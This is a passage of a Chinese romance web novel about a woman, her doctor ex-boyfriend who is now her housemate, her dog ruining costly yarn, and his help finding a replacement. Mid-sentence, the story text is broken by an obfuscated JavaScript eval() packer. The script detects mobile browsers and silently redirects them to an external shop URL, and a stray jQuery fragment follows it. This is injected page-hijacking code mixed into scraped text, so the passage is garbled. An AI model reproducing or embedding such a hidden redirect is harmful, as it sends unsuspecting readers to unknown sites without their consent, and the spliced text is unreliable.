“那是你……你眼睛有问题,我可没吃醋,我这是纯属觉得你们医院的人嘴碎,满世界给同事拉郎配,显得你们医院特别闲。”
时昀清见她的脸腾地烧起来,从耳尖一直烫到脖子根,还梗着脖子否认的模样,不禁笑起来。
他没拆穿她,转身去拿处方单。
江之璐犹豫几秒,还是没憋住,低声问道:“那个俞医生,你们到底什么关系?”
“你很在意?”
“那当然……”
话音未落,时昀清猛地回头。
江之璐被他的动作吓到,后半句噎在嗓子里,赶紧找补道:“不是你想的那样。”
“我想的哪样?”
“我的意思是你如果正在谈恋爱或者有喜欢的人,那你跟我合租就很不合适,我需要重新评估这个租赁关系的合理性。”
“重新评估租赁关系的合理性……”
听到他重复呢喃她的话,江之璐却没注意到他渐渐暗淡的目光,只顾把话说完。
“时昀清,我是认真在问你,这个问题很重要,也请你认真诚实回答我。”
忽然,时昀清笑了。
见他走过来,步速不快不慢,江之璐下意识往后退半步,背脊撞上诊室的门板,发出“咚”的一声闷响。
“你……你过来干嘛……”
面前的人不语,抬起双臂撑在她身体两侧,把她整个人圈在门板和怀中。
太近了。
近到她抬头就能清晰地看到他是在笑,但眼底没什么笑意,反而掺杂着一点无奈和某种她读不太懂的晦涩情绪。
“时昀清,你放开我,不然我喊人来了!”
时昀清见她整个人缩着脖子往下滑,他抬起右手,朝她额头不轻不重地弹了一记脑门。
“啊!”
“时昀清,发什么神经,你……”
“你小脑瓜里成天都在想什么。”他一字一句解释道:“俞见宁,比我小两届的同门师妹,她老公是大学教授,两口子跟我都挺熟。”
江之璐愣住,“她结婚了?”
“嗯,孩子都快一岁了,朋友圈全是宝宝的辅食教程,我翻给你看?”
“谁要看了,跟我又没关系。”
“嗯,是没关系,所以你现在放心了?”
“当然,我放……”
江之璐猛然反应过来,又被他不动声色地套路进去,她把剩下的话悉数咽回肚里。
“我接一元走了。”
“我今天值班,晚上记得锁好门。”时昀清温柔叮嘱,“明早我带早餐回去。”
“啰嗦。”
江之璐瞪他一眼,匆匆出门却在走廊拐角差点撞到人,她侧身避让,那人“哎”了一声。
“小心。”
江之璐扶住那人站稳,才看清是俞见宁。
“没撞到你吧?”
“没有,谢谢你。”
想起方才先入为主揣测她和时昀清的关系,江之璐面对她有些不好意思,面前的人却弯下眉眼。
“你好我叫俞见宁,之前就听时医生提起过你,百闻不如一见,今天终于见到面了。”
江之璐错愕,“他提起过我?”
“两年前,时医生喝醉酒,我和老莫去接他时,他嘴里一直念叨你的名字。”俞见宁补充了一句,“老莫是我老公。”
江之璐愣住,心里不由疑惑。
两年前,刚好是他们分手的时间,时昀清从不喝酒,那他的酩酊大醉算什么,借酒消愁还是庆祝分手?
“患者在等我,咱们就算认识了,以后可以常聚。”
江之璐被俞见宁的声音拉回思绪,见她冲自己wink挥手,她注意到她无名指上的素圈戒指。
回到家,江之璐把一元放在软垫上,拆开药盒准备喂药,小家伙闻了闻药膏的味道,立刻扭过脑袋,四条小短腿蹬着往后退,说什么都不肯张嘴。
“你怎么跟个小孩似的。”
江之璐无奈,伸手托起它的下巴,可能力道没控制好,一元挣扎了一下,药膏蹭在嘴角。
她叹了口气,脑子里忽然闪过时昀清从前喂流浪狗吃药的样子,鬼使神差地学着那个手势,指尖轻轻扣住一元的下颌,另一只手把药膏挤进去。
出乎意料的是小家伙没再挣扎,吧唧两下嘴就咽下去了。
江之璐心里又泛起说不清道不明的异样。
分开两年,她以为已经忘记和他有关的所有细节,可原来那些相处的习惯,却早就刻在下意识里。
“怎么又想到以前了!”江之璐把一元安置到临时的小窝,“今天就委屈你陪加班吧。”
江之璐打开缝纫机,将三种渐变色毛线层层叠加,开始处理那只做到一半的银渐层玩偶猫。
这只猫猫玩偶是她临时接的一单,老客户推荐来的,客户只给一周的时间,交货时间还剩三天,她今晚必须把身体的部分全部搞定。
熬夜一整晚,做完两排线,终于将猫身的部分收尾。
江之璐伸个懒腰,手刚伸向第三卷毛线,一元突然从旁边蹿过来,“啪嗒”一声撞翻线盒。
彩色线团滚了一地,最贵的那卷进口棉线从盒里滚出来,一元以为是零食叼住了一截线头。
“一元,给我放下!”
江之璐扑过去时已经晚了。
整卷毛线从中间豁开,散了三分之一,剩下的三分之二被一元的爪子刮起球。
罪魁祸首的小东西还以为是玩具,四脚朝天蹬着那团残骸打滚,弄得乱七八糟。
江之璐感觉心在滴血。
一卷毛线五百六,而这线颜色特殊是国内买不到替代品。
眼看就要到交货时间,只剩尾巴没做完,这下可好,线全部报废,根本没时间再买新的线。
一元像是感觉自己犯了错误,它缩着脖子趴在她膝盖旁边,夹紧尾巴,用两只黑眼睛可怜巴巴地仰头看着。
江之璐蹲在满地线头中间,盯着它眼睛看了三秒,伸手拽出嘴里那截线头。
“你啊,真是小败家子。”
她抬手揉了揉发胀的太阳穴,掏出手机,指尖悬在客户对话框上,迟迟不敢按下输入。
延期交付大概率会丢掉口碑,甚至赔付违约金,可眼下根本没有别的办法。
就在进退两难,满心焦灼之际,工作室的玻璃门忽然被轻轻推开,清脆的开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839410|211585||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门声打破室内的沉寂。
“你怎么来了?”
时昀清还穿着昨天那身衣服,手拎保温袋走进来。
“我下班回家,发现家里没人,猜到你可能在工作室通宵加班,就过来给你送早餐。”
“没心情吃。”
时昀清的目光在她脸上和地上的线团之间扫了一圈,用了不到两秒推导出全貌。
“线废了?”
“嗯。”
时昀清捡起那团残骸,仔细看了看,“这个牌子,是不是国内没有代理的那个?”
“你怎么知道?”
“你以前念叨过。”
江之璐越发烦闷,“好不容易快完成交货,现在可倒好,临门一脚,全完了。”
“没到最后一刻就不一定。”
“拜托,就算重新买,运输和清关最少五天能到,而我只有三天时间了,想都不用想,一定不可能,这单估计彻底砸了。”
时昀清听着她的抱怨,掏出手机,拍下废线的标签,不到两分钟,他把手机屏幕转向她。
“国内有两卷现货,能调,我已经让他们加急邮过来了,预计明天到。”
江之璐张大嘴巴,“你怎么搞到的?”
“之前的一个客户做纺织进出口,他手里刚好有一批剩下的线。”
他说得平淡,没有邀功的意思,却令江之璐目瞪口呆,她没想到自己的困难就被他轻而易举地解决了。
她一动不动地凝视他许久。
清晨的阳光从玻璃窗斜射进来,在时昀清的侧脸镀了一层暖金色,她注意到他的下巴冒出青色胡茬,好像更接近记忆里那些个他早晨醒来的模样。
“时昀清。”
“嗯?”
“谢谢。”
“不白帮。”时昀清打开保温袋,扯开餐盒上的保鲜膜,“就当作你欠我一个人情,等哪天我需要的时候,你再帮我。”
早饭吃到一半,时昀清的手机响起,他没戴耳机,手上又粘满鸡蛋壳,便直接按下外放。
秦川的声音从扬声器里蹦出来。
“时老师,救助活动出问题了,本来约好三个大学生志愿者,结果打来电话说学校有事去不了了。”
“这上哪儿重新找人啊。”
时昀清沉声道:“你别着急,照常准备物资,人手的事情,我来想办法。”
江之璐坐在对面,手指无意识地抠着玻璃水杯。
她和时昀清就是在这种救助流浪动物的活动认识的,后来恋爱,救助站也就成了他们经常约会的场所之一。
正想着,通话戛然而止,一颗剥好的鸡蛋递了过来。
“你不忙的话,要不要过去搭把手?”
“你想让我一个人顶三个人用?”
“不是的,就像以前一样,帮忙登记信息,喂喂食物就好。”
江之璐下意识就想拒绝,话到嘴边,却想起他刚刚帮忙解决燃眉之急,于是舌尖绕了绕一圈。
“要看能不能赶完单,再说吧。”
她没把话说死,算是留了余地。
时昀清掀起眼皮,眼里似乎闪过一丝笑意,“行,想去的话提前跟我说。”